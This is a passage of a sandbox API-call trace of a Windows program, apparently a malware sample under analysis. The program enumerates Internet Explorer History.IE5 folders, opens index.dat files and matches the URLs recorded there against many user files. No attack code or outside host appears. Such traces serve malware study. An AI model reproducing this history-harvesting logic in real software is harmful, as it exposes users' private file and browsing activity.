lpDistanceToMoveHigh=0x0) returned 0x7f80 [0069.082] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.082] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.082] CloseHandle (hObject=0xc8) returned 1 [0069.082] FindNextFileW (in: hFindFile=0x89ff18, lpFindFileData=0x288d4c | out: lpFindFileData=0x288d4c) returned 0 [0069.082] FindClose (in: hFindFile=0x89ff18 | out: hFindFile=0x89ff18) returned 1 [0069.082] FindNextFileW (in: hFindFile=0x89fed8, lpFindFileData=0x289748 | out: lpFindFileData=0x289748) returned 1 [0069.082] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned 0x45 [0069.082] wcslen (_String="MSHist012017112820171129") returned 0x18 [0069.082] wcscpy (in: _Dest=0x289998, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5" [0069.082] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned 0x45 [0069.082] wcscat (in: _Dest=0x289998, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\" [0069.082] wcscat (in: _Dest=0x289998, _Source="MSHist012017112820171129" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017112820171129") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017112820171129" [0069.082] wcscmp (_String1="MSHist012017112820171129", _String2="..") returned 1 [0069.082] wcscmp (_String1="MSHist012017112820171129", _String2=".") returned 1 [0069.082] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017112820171129") returned 0x5e [0069.082] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017112820171129") returned 0x5e [0069.082] wcslen (_String="*.*") returned 0x3 [0069.083] wcscpy (in: _Dest=0x288ac4, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017112820171129" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017112820171129") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017112820171129" [0069.083] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017112820171129") returned 0x5e [0069.083] wcscat (in: _Dest=0x288ac4, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017112820171129\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017112820171129\\" [0069.083] wcscat (in: _Dest=0x288ac4, _Source="*.*" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017112820171129\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017112820171129\\*.*" [0069.083] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017112820171129\\*.*", lpFindFileData=0x288d4c | out: lpFindFileData=0x288d4c) returned 0x89ff18 [0069.083] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017112820171129") returned 0x5e [0069.083] wcslen (_String=".") returned 0x1 [0069.083] wcscpy (in: _Dest=0x288f9c, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017112820171129" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017112820171129") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017112820171129" [0069.083] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017112820171129") returned 0x5e [0069.083] wcscat (in: _Dest=0x288f9c, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017112820171129\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017112820171129\\" [0069.083] wcscat (in: _Dest=0x288f9c, _Source="." | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017112820171129\\.") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017112820171129\\." [0069.083] wcscmp (_String1=".", _String2="..") returned -1 [0069.083] wcscmp (_String1=".", _String2=".") returned 0 [0069.083] _wcsicmp (_String1=".", _String2="index.dat") returned -59 [0069.083] FindNextFileW (in: hFindFile=0x89ff18, lpFindFileData=0x288d4c | out: lpFindFileData=0x288d4c) returned 1 [0069.083] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017112820171129") returned 0x5e [0069.083] wcslen (_String="..") returned 0x2 [0069.083] wcscpy (in: _Dest=0x288f9c, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017112820171129" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017112820171129") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017112820171129" [0069.083] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017112820171129") returned 0x5e [0069.083] wcscat (in: _Dest=0x288f9c, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017112820171129\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017112820171129\\" [0069.083] wcscat (in: _Dest=0x288f9c, _Source=".." | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017112820171129\\..") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017112820171129\\.." [0069.083] wcscmp (_String1="..", _String2="..") returned 0 [0069.083] _wcsicmp (_String1="..", _String2="index.dat") returned -59 [0069.083] FindNextFileW (in: hFindFile=0x89ff18, lpFindFileData=0x288d4c | out: lpFindFileData=0x288d4c) returned 1 [0069.083] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017112820171129") returned 0x5e [0069.083] wcslen (_String="index.dat") returned 0x9 [0069.083] wcscpy (in: _Dest=0x288f9c, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017112820171129" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017112820171129") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017112820171129" [0069.083] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017112820171129") returned 0x5e [0069.083] wcscat (in: _Dest=0x288f9c, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017112820171129\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017112820171129\\" [0069.083] wcscat (in: _Dest=0x288f9c, _Source="index.dat" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017112820171129\\index.dat") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017112820171129\\index.dat" [0069.083] _wcsicmp (_String1="index.dat", _String2="index.dat") returned 0 [0069.083] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012017112820171129\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\mshist012017112820171129\\index.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc8 [0069.083] SetFilePointer (in: hFile=0xc8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.083] ReadFile (in: hFile=0xc8, lpBuffer=0x288a1c, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x2826e4, lpOverlapped=0x0 | out: lpBuffer=0x288a1c*, lpNumberOfBytesRead=0x2826e4*=0x20, lpOverlapped=0x0) returned 1 [0069.084] GetFileSize (in: hFile=0xc8, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x10000 [0069.084] SetFilePointer (in: hFile=0xc8, lDistanceToMove=20480, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5000 [0069.084] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.084] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.084] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/X_Eh_I6L5xn.png" | out: _Str="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png") returned="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png" [0069.084] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png") returned 51 [0069.084] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2=":host: www.google.de") returned 1 [0069.084] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/desktop/ihknzkjo.doc") returned 1 [0069.084] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/appdata/roaming/o954v.gif") returned 1 [0069.084] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/pictures/xv29v9lm6u3e.bmp") returned -1 [0069.084] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/desktop/q6o2n7wwkpr.bmp") returned 1 [0069.084] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/ebi_g_ji2vd2vnklrop5.ppt") returned 1 [0069.084] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/eye27ehqblhl.bmp") returned 1 [0069.084] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/documents/bngtvm7.xlsx") returned 1 [0069.084] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/tsxdzc%203hi/1qpg-iyvnqu.bmp") returned 1 [0069.084] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/fpn_m8owaavy2i.ots") returned 1 [0069.084] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/altyeuz8ke/aarrlt_jtdpkkjt_swo.xls") returned 1 [0069.084] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/desktop/s_xsuwu8qqnzog4v9zrx.mkv") returned 1 [0069.084] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/appdata/roaming/w94fqong.rtf") returned 1 [0069.084] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/kd4kvqssjiojqr1.flv") returned -1 [0069.084] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/desktop/j6dziy9vqbux5.ppt") returned 1 [0069.084] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/desktop/c9ut6lytwia.xlsx") returned 1 [0069.084] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/appdata/roaming/s3erd-a.bmp") returned 1 [0069.084] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/mg6b0r2nv.ots") returned 1 [0069.084] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/yiw1h.png") returned 1 [0069.084] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/ftcc9f70gxzbb.gif") returned 1 [0069.084] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/documents/_r0qj/u_bk5.pps") returned 1 [0069.084] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/y0m9kmq-w9nryd9_x/ly3agvy_y5cf6nmd50e1.jpg") returned 1 [0069.084] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/boukln.flv") returned -1 [0069.084] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/documents/2serklwgvw2wr0dvkh.docx") returned 1 [0069.084] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/desktop/khpa.jpg") returned 1 [0069.084] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/lrl%20osdtaq.jpg") returned 1 [0069.084] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/appdata/roaming/spfa9u6bx.xls") returned 1 [0069.084] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/documents/oe_9.docx") returned 1 [0069.084] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/documents/neys-vvyovcjnl64w.pdf") returned 1 [0069.084] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/appdata/roaming/vsiu.ppt") returned 1 [0069.084] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/tsxdzc%203hi/xmfffekl.gif") returned 1 [0069.084] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/x2ubk6qmfay.mkv") returned -1 [0069.084] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/tgste51da.pdf") returned 1 [0069.084] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/desktop/0dhb1lq5yot7udpqilv.rtf") returned 1 [0069.085] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/r4xqhuytc.bmp") returned 1 [0069.085] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/yv%20smf4nsa554p3vd9.jpg") returned 1 [0069.085] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/9fo6aacn.bmp") returned 1 [0069.085] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/appdata/roaming/tkhgm7ytxij4tygo3.csv") returned 1 [0069.085] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/desktop/zgid.png") returned 1 [0069.085] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/2ag4lbo.pdf") returned 1 [0069.085] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/desktop/u_x855jomdyckkuedf4y.jpg") returned 1 [0069.085] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/desktop/gt_uelv0.rtf") returned 1 [0069.085] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/appdata/roaming/ktpvxxq7gk6v-bti3h2.csv") returned 1 [0069.085] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/appdata/roaming/xi9mo3.ppt") returned 1 [0069.085] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/ln5snup4dif.flv") returned -1 [0069.085] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/ijdl3pp8e7asb.mkv") returned 1 [0069.085] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/imqafz%20rpvsig5hi.png") returned 1 [0069.085] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/y0m9kmq-w9nryd9_x/dogv5_s.png") returned 1 [0069.085] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/cwnutkiuih3q13b4.png") returned 1 [0069.085] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/z5jyw4ck3pxgs8vo6pwx.xls") returned 1 [0069.085] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/appdata/roaming/h_7vjswkn-j5z6eibtc0.png") returned 1 [0069.085] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/documents/iy0bs-wzvfapifst.xlsx") returned 1 [0069.085] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/tsxdzc%203hi/zq3uv.gif") returned 1 [0069.085] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/desktop/i92xqrotuygpp.png") returned 1 [0069.085] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/appdata/roaming/ox2%20tpjk0%20kyqwyzz.docx") returned 1 [0069.085] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/zrockiiwrql0wttbyu.pdf") returned 1 [0069.085] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/qbatepvwwrmxg.mkv") returned -1 [0069.085] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/documents/hp0a.pptx") returned 1 [0069.085] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/videos/tukxy_htj_46yx.mkv") returned -1 [0069.085] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/y0m9kmq-w9nryd9_x/xrlop0fhih6h4mumu.bmp") returned 1 [0069.085] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/gg7cycfjmtiunlpskcq.pdf") returned 1 [0069.085] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/rbaw.bmp") returned 1 [0069.085] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/t6hliemu6l0r.ppt") returned 1 [0069.085] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/documents/pu8nkjiakvioxnl1gn5.docx") returned 1 [0069.085] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/u8ej.mkv") returned -1 [0069.085] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/desktop/8wgzy1b.png") returned 1 [0069.085] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/f7xu9f0sbj9qzlfh/5pbmi8.jpg") returned 1 [0069.085] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/documents/c9bf3zxlekmuces.pptx") returned 1 [0069.085] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/documents/w39fbpx.pptx") returned 1 [0069.085] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/documents/c40oh8.xlsx") returned 1 [0069.085] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/k61u%208qbit65csajnmu.pptx") returned 1 [0069.085] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/eyo_jfjnlvh.png") returned 1 [0069.085] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/appdata/roaming/ma9jv-dyfrqq5wz%20rh.png") returned 1 [0069.085] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/twly6%20njwxp7s.ots") returned 1 [0069.085] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/documents/jtfuniuktukb.rtf") returned 1 [0069.085] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/appdata/roaming/bhjp5caf9c99.gif") returned 1 [0069.085] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/ylrsy2oezmqpamb5xpsr.mkv") returned 1 [0069.085] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/desktop/xlx9xfvuh.jpg") returned 1 [0069.085] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/s_upngnh6botne0evc.gif") returned 1 [0069.085] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/appdata/roaming/bhevv6.mkv") returned 1 [0069.085] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/pp66ey.odp") returned 1 [0069.085] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/1r1kigcrnnjgvfo_x.flv") returned -1 [0069.085] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/appdata/roaming/btyd0hrgdblueuq.rtf") returned 1 [0069.085] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/desktop/utqtv2mvpn8rqx.ppt") returned 1 [0069.085] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/nhdk1klix_x.flv") returned -1 [0069.085] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/altyeuz8ke/isgcjtsl.xlsx") returned 1 [0069.085] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/desktop/sa--kau.pptx") returned 1 [0069.085] wcscmp 